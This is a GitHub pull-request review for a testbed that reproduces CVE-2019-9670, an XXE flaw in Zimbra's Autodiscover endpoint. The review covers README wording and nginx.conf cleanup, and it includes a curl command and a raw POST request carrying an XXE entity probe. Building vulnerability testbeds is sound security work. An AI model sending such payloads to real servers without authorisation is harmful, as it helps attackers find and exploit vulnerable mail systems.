-
Notifications
You must be signed in to change notification settings - Fork 36
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Testbed for CVE-2019-9670 - Synacor Zimbra XXE #113
base: main
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @LeonardoE95, thanks for your contribution!
The testbed is working, and the reproduction steps are clear. Please review the provided suggestions, and if they seem appropriate, feel free to apply them.
zimbra/CVE-2019-9670/README.md
Outdated
To test out the vulnerability, the following HTTP GET request can be used. | ||
|
||
Request | ||
|
||
``` | ||
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | ||
Host: 127.0.0.1 | ||
Content-Type: application/xml | ||
Content-Length: 177 | ||
|
||
<!DOCTYPE foo [<!ELEMENT foo ANY> | ||
<!ENTITY xxe "Test"> ]> | ||
<Request> | ||
<EMailAddress>email</EMailAddress> | ||
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | ||
</Request> | ||
``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please provide a cURL command to easily reproduce the vulnerability without requiring an intercepting proxy
To test out the vulnerability, the following HTTP GET request can be used. | |
Request | |
``` | |
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
Host: 127.0.0.1 | |
Content-Type: application/xml | |
Content-Length: 177 | |
<!DOCTYPE foo [<!ELEMENT foo ANY> | |
<!ENTITY xxe "Test"> ]> | |
<Request> | |
<EMailAddress>email</EMailAddress> | |
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
</Request> | |
``` | |
## Reproduction Steps | |
To test out the vulnerability, the following curl command can be used: | |
``` | |
curl -k -X $'POST'\ | |
--data-binary $'<!DOCTYPE foo [<!ELEMENT foo ANY>\x0d\x0a<!ENTITY xxe \"Test\"> ]>\x0d\x0a<Request>\x0d\x0a<EMailAddress>email</EMailAddress>\x0d\x0a<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>\x0d\x0a</Request>' \ | |
$'https://{service-host}:{port}/Autodiscover/Autodiscover.xml' | |
``` | |
which will generate a POST request similar to the one reported below: | |
``` | |
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
Content-Type: application/xml | |
Content-Length: 177 | |
<!DOCTYPE foo [<!ELEMENT foo ANY> | |
<!ENTITY xxe "Test"> ]> | |
<Request> | |
<EMailAddress>email</EMailAddress> | |
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
</Request> | |
``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Useful feedback, thanks, added the curl command!
zimbra/CVE-2019-9670/README.md
Outdated
When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | ||
|
||
Vulnerable Response |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | |
Vulnerable Response | |
### Vulnerable Response | |
When sent to the vulnerable instance on port `8443`, the response will contain the string `Test`, as shown in the example below: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Updated
zimbra/CVE-2019-9670/README.md
Outdated
When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | ||
|
||
Non Vulnerable Response |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | |
Non Vulnerable Response | |
### Non Vulnerable Response | |
When sent to the non vulnerable instance on port `8500`, the response will not contain the string `Test`, as shown in the example below: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Updated
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @LeonardoE95, please apply these changes to remove some superfluous comments.
Thanks!
zimbra/CVE-2019-9670/nginx.conf
Outdated
@@ -0,0 +1,43 @@ | |||
#user nobody; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#user nobody; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
|
||
#error_log logs/error.log; | ||
#error_log logs/error.log notice; | ||
#error_log logs/error.log info; | ||
|
||
#pid logs/nginx.pid; | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#error_log logs/error.log; | |
#error_log logs/error.log notice; | |
#error_log logs/error.log info; | |
#pid logs/nginx.pid; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
|
||
#log_format main '$remote_addr - $remote_user [$time_local] "$request" ' | ||
# '$status $body_bytes_sent "$http_referer" ' | ||
# '"$http_user_agent" "$http_x_forwarded_for"'; | ||
|
||
#access_log logs/access.log main; | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#log_format main '$remote_addr - $remote_user [$time_local] "$request" ' | |
# '$status $body_bytes_sent "$http_referer" ' | |
# '"$http_user_agent" "$http_x_forwarded_for"'; | |
#access_log logs/access.log main; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
#tcp_nopush on; | ||
|
||
#keepalive_timeout 0; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#tcp_nopush on; | |
#keepalive_timeout 0; |
zimbra/CVE-2019-9670/nginx.conf
Outdated
|
||
#gzip on; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#gzip on; |
Superfluous comments in nginx config removed. |
Hello there,
this PR contains the instructions required to setup a testbed for CVE-2019-9670.